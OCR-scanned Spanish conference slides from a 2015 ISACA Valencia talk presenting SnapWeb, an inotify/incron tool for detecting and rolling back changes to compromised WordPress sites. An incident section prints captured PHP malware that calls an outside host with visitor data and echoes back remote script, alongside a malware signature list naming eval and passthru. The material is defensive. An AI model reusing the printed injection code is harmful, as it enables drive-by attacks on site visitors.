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Introduccion

* S whoami
— Network Engineer.
— CIO de ESAT.
— CTO de Webnet informatica y de IngrowUP.

— Profesor titular de Operating Systems y
Videogames Network Programming en red.

— CISCO instructor.
— EC-Council/CEH/ENSA instructor.

ISACA Valencia - IX Congreso Octubre - 2015 3




SACA

Sistemas de informacion fiables y valiosos

Valencia Chapter

Palacio de Colomina, Valencia | 29 y 30 de octubre 2015

AntECEdentes english version

PY W e b E S AT CARRERAS © CURSOS © E SA d uso PORTFOLIO ©

Videojuegos_

— Desarrollo
Propio.

— Control inputs. e

ESAT nace para dar cabida a los estudios superiores mas avanzados en Disefio Grafico, Animacion y Disefio y Programacion de Videojuegos en Valencia, Espafia.

— Librerias .js

“controladas” 7

DISENO INTERACTIVO DIGITAL ENLUES

ARTEVIDEOJUEGOS ILUSTRACION

PROGRAMACION VIDEOJUEGDS BELLAS ARTES mwm&uﬂu

CONDICONESDEACCES S ——

Noviembre 2013 ' *
1° Bachillerato, LOGSE, PAU 25 afios. ¢Es el disefio una respuesta a |a totalidad de la vida? L M X J V 8 D
CFGM. CFGS. Estudios Universitarios. por Alejandro Macharowsky [+ info] =
Estudios extranjeros equivalentes. 1 e
Sin Selectivo Hampa Studio y Nerlaska Studio sacan su primer juego
T ©" Co"unto para tablets y teiéfonos. [+ info] 25 2 o & @ k0 |
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Antecedentes
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Antecedentes

ESAT [ o o e o e

martes, 25 de febrero de 2014 - 22:10

Walter
™ Estas operative?

m Jose Luis Gonzalez
i Si
|

Walter
" Dk, Activo la web?

1 Jose Luls Gonzilez Estudios de Higher National Diplomas
I;' OK si vamis a ello —
\
N@

Walter 8 _Ee i - 1 ‘
~ v 4
¥a esta \ i\\

PROGRAMACION DE ARTE PARA VIDEQJUEGOS DIGITAL ARTS (GRAPHIC DESIGN &
VIDEOJUEGOS ’ FINE ARTS 2.0)
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Antecedentes

WordPress Recibidos  [Wordfence Alert] www.esat.es User locked out from signing in - |
WordPress Recibidos  [Wordfence Alert] www.esat.es User locked out from signing in - |
: . . Advertencia- Si visitas este sitio web, tu ordenador puede resultar dafado.
WordPress Recbidos  [Wordfence Alert] www.esat.es User locked out from signing in - |
WordPress Recibidos  [Wordfence Alert] www.esat.es User locked out from signing in - | Sugerencias:
* Vuelve a la pagina anterior y elige otro resultado.
WordPress .. yo, Alicia (8) Recibidos  [Wordfence Alert] www.esat.es User locked out from signing in - * Realiza otra bisqueda para encontrar lo que buscas
Si lo deseas, puedes acceder a http://www esat es/ bajo tu propia responsabilidad. Para obtener informacion mas detallada sobre los problemas que detect
este sitio.
WordPress Recibidos  [Wordfence Alert] www.esat.es User locked out from signing in - |
Para obtener mas informacién acerca de software malintencionado en Interet y sobre cémo protegerte de él, puedes visitar la pagina StopBadware org
WordPress Recibidos  [Wordfence Alert] www.esat.es User locked out from sigmng in-1 Si eres es el propietario de este sitio web, puedes solicitar una revision del mismo a través de las Herramientas para webmasters de Google. Encontrarés n
ntr yuda ra webmy
Asesoramiento proporcionado por GOOGIE
WordPress (2) Recibidos  [Wordfence Alert] www.esat.es User locked out from signing in - |
WordPress, yo (2) Recibidos  [Wordfence Alert] www.esat.es User locked out from signing in - :
WordPress, yo (2) Recibidos  [Wordfence Alert] www.esat.es User locked out from signing in - :
#84310b#

error_reporting(0); ini_set('display_errors',0); $wp_wvw10309 = @3$ SERVER[HTTP_USER_AGENT';

if ({ preg_match (/Gecko|MSIEA', $wp_vw10309) && !preg_match (/botfi', wp_ww10308))){

$wp_ww0910309="http://" "tags"."value".".comfvalue" "/?ip="%_SERVER[REMOTE_ADDR']."&referer=".urlencode($_SERVER]['
HTTP_HOSTY)."&ua=".urlencode(Swp_ww10309);

$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,Swp_vw0910309);

curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_10309vw = curl_exec ($ch); curl_close($ch);)
if ( substr{3wp_10309vw,1,3) === 'scr' )}{ echo $wp_10308vw; }

#843100#
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Antecedentes
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Problema

e Uso de frameworks
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Problema

* Vectores ataque
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Problema

c chrome ExnprlnnBI}sQE Home Exploits Shellcode Papers Google Hacking Database Submit Search

The Website Ahead Contains Malware!

Google Chrome has blocked access to www. com
for now |

Search the Exploit Database

Search the Database for Exploits, Papers, and Shellcode. You can even search by CVE and OSVDB identifiers.

Even if you have visited this website safely in the past,
visiting it now is very likely to infect your Mac with
malware.

Malware is malicious software that causes things like \~
identity theft, financial loss, and permanent file
deletion. Learn more

Advanced search

Atagques de amplificacion de fuerza bruta a través de XML-RPC 777 total entries
de WordPress << prev 2345678910 next >
Date ~ D A V Title Platform Author
- m n W Twittear | 71 20150915 & (& WordPress CP Reservation Calendar Plugin 1.1.6 - SQL Injection php i0akiN SEC-LAB.
. B . P 2015-09-08 § [ <« Wordpress White-Label Framework 2.0.6 - XSS Vulnerability php Qutlasted
Ir dores de Sucuri han descubierto ataques de amplificacion de —
fuerza bruta mediante el archivo XML-RPC de los CMS mas populares 2015-09-06 & [ (& WordPress Contact Form Generator <= 2.0.1 - Multiple CSRF Vulnerabilities php i0akiN SEC-LAB.
como WordPress y Drupal. XML-RPC es un protocolo muy simple que 2015-08-28 § [@ <« WordPress Responsive Thumbnail Slider Plugin 1.0 - Arbitrary File Upload php Arash Khazaei
puede ser implementado en cualquier lenguaje de programacion y se -
o . 3 2 2015-08-24 & {9 WordPress GeoPlaces3 Theme - Arbitrary File Upload Vulnerbility php Mdn_Newbie
utiliza para el intercambio de datos entre sistemas en Internet. El protocolo
utiliza el método system.multicall... 2015-08-21 § [ <« WordPress Googmonify Plugin 0.8.1 - XSS/CSRF Vulnerability php Ehsan Hosseini
2015-08-21 § [@ (& WordPress MDC Private Message Plugin 1.0.0 - Persistent XSS php Chris Kellum
2015-08-18 & [@ (& WordPress WP Symposium Plugin 15.1 - SQL Injection php PizzaHatHacker
MHES de sitios WOrdpreSS afeCtadOS pOr malWare [aCtUaliZa!] 20150818 & [@ {9 WordPress WP Symposium Plugin 15.1 - Blind SQL Injection php dxw
= 2015-08-10 & {9 WordPress WPTF Image Gallery 1.03 - Aribtrary File Download php Larry W. Cashd.
) Com primero!
vulnerabilidades m n W Twittear ' 77 2015-08-10 & {9 WordPress Recent Backups Plugin 0.7 - Arbitrary File Download php Larry W. Cashd.
2015-08-10 & {9 WordPress Simple Image Manipulator Plugin 1.0 - Arbitrary File Download php Larry W. Cashd.
Un gran nimero de sitios web WordPress fueron comprometido en Gltimas ) ) .
dos semanas con una nueva campaiia de malware. Los investigadores de 2015-08-10 & {9 WordPress Candidate Application Form Plugin 1.0 - Arbitrary File Download php Larry W. Cashd.
Sucuri han detectado una "campana viral” con el fin de acceder a mas de 2015-08-09 & [@ (9 WordPress Video Gallery 2.7 SQL Injection php Kacper Szurek

5.000 sitios WordPress. Los investigadores han llamado "VisitorTracker" al
ataque porque en el codigo malicioso existe una funcién de Javascript
llamada visitorTracker_isMob()....

Seguir leyendo.
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Solucion

* Ataques

— (OWASP Unrestricted File Upload)
— Permite la subida de archivos al servidor.

° RO b OS d e cre d enc | a I es FT P I e

* Modificacion de archivos.

ISACA Valencia - IX Co

OFFICIAL VERSION

Buld information

B3] [about Fiezilla

Campied for:

Canmpibe -unknown-linucgn

Buld d: -08-07

Complied with] i585-mingwa2msve-gee (GCC) 4.2.1-1;
(ingn3z-2)

Compiter flags{ -5 -02 -Wall -5 fexceptions

on:

Linked against

de tipo Arbitrary File Upload

3.7.3
yright (C) 2004-2013 Tim
Homepage: hittps:fifilezlla-project org.

Build nfoemation

Canpiled for: [1686-pe-mingnaz

Compiled

Compile: i gec.exe (GCC
Compiter Hags Wal - fexceptions
-std=gris++0x

Linked against

Operating system

Name:  Windows KP (build 2600, Service Pack 3)
Version: 5.1
Platform: 32 bit system

Copy to cipboard oK

Operating system

Name:  Windows XP (build 2600, Service Pack 3)
Yersion: S.1
Plaform: 32 bit system

Copy to cipboard Ok

x|
MALWARE VERSION
14-2012 Tn Kosse

Homepage: betp:fifileails crotect.orq

Buld information

1636-pe-mngwaz
1535-PCNGWa2
2012:09-27

qcc.exe (GCC)4.5.0

“Wall -g -fexceptions
~std=gnu++0x

Compier flags:

Linked aganst

Opersting system
Name:  Windows XP (buid 2500, Service Pack 3)

Yersion: 5.1
Hatform: 32 bit system

Capy to cipboard o |
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SnapWeb

* |dea
— Congelar la Web.

* Tarea cron
* Inotify

ADVANCED
System Integrity

DFan(’JEé,d

www.faronics<e™
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SnapWeb

* |notify
— Inode Notify.
— Kernel 2.6.13.

— Monitorizacion a través de eventos.
« CREATE, DELETE, MODIFY ...
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SnapWeb

* |notify
— /proc/sys/fs/inotify/max_user_instances
* NUumero maximo de instancias en /etc/incron.d

— /proc/sys/fs/inotify/max_user watches

* NUmero maximo de ficheros a monitorizar.
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SnapWeb

* |ncron
— Inotify Cron System.
— Lucas Jelinek - https://github.com/ar-/incron.

— Monitoriza los directorios indicados en los
ficheros descriptores ubicados en /etc/incron.d

— Cada fichero descriptor indicara qué directorio/s
se deben monitorizar y qué evento.

ISACA Valencia - IX Congreso Octubre - 2015 17
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SnapWeb

Incron

GHU nano 2.2.6 Fichero: ESAT Modif icado

AWLLOFP IW_CREATE, IN_DELETE, IN_CLOSE_WRITE susr/localssnapweb/jack.sh $@ F# 3%
SHLLOPAESAT, IN_CREATE, IM_DELETE, IN_CLOSE_WRITE Ausr/slocalls _H3HMEM ‘jack.sh #8 FHF
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SnapWeb

* |[ncron

— Directorio
* No recursividad.

— Evento

o IN_CREATE | IN_DELETE | IN_CLOSE_WRITE |
IN. MOVED_TO | IN_MOVED_FROM ...

— Accion
 S@: Ruta| S#: Fichero/Directorio | $%: Nombre evento.
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* Estructura
— Configuracion
» /etc/snapweb/snapweb.conf

» /etc/snapweb/firmasAV.txt
» /etc/snapweb/exclude_dir

— Comandos
 /usr/local/sbin/snapweb.sh
 /usr/local/snapweb/jack.sh

ISACA Valencia - IX Congreso Octubre - 2015 20
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SnapWeb

* Estructura
— Repositorio
 /usr/local/snapweb/snap_back

 /usr/local/snapweb/.changes (cuarentena)

— Debug
 /var/log/snapweb
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SnapWeb

e Modos Configuracion Snapweb

_ ] _, SnapWeb
— Monitorizacion.

Indica el tipo de modo que deseas activar:

— Blogqueado.

-,

Modo de SnapWeb v Monitorizacién

— Automatico. Blogueado

Automatico

save Changes

/etc/snapweb/snapweb.conf

email=wllogp@esat.es
lock_on=0 | 1 | 2

ISACA Valencia - IX Congreso Octubre - 2015
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e Deteccion de Malware

* De forma autéonoma por ejecucion de funciones
GHNU nano 2.2.6

“peligrosas” o patrones.
— Archivo /etc/snapweb/firmasAV.txt
— Métrica por patron.

» Métrica total > 10 (Aviso malware) B

sy e .y . Eyal:1l0

» Métrica total > 5 (Restauracion cambio) aUTO. TNCREMENT: 7
HTTFA1. :6
Content-Length:6&
passthru: 10

ISACA Valencia - IX Congreso Octubre - 2015
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SnapWeb

e Funcionamiento

— snapweb.sh [-h | -I | -d ] Sdirectorio
* -h = Ayuda
 -| - Lista los directorios monitorizados.
* -d = Desactiva la monitorizacidn del directorio.

ISACA Valencia - IX Congreso Octubre - 2015 24
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Demos

* Demol

Monitorizacion de un directorio.
Cambiando los modos.

Panel de control WordPress
SnapWeb en robo credenciales FTP.

Snapweb en AFU.
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Estado de ShapWeb

* Rodaje.
* App para movil.
* Recuperacion de ficheros en cuarentena.
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GRACIAS!

* Sugerencias:
— mail: wllop@esat.es
— twitter: @wllop
* Repo:
— https://github.com/wllop/snapweb

ISACA Valencia - IX Congreso Octubre - 2015
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¢Dudas?

Walter Llop @wllop
wllop@esat.es
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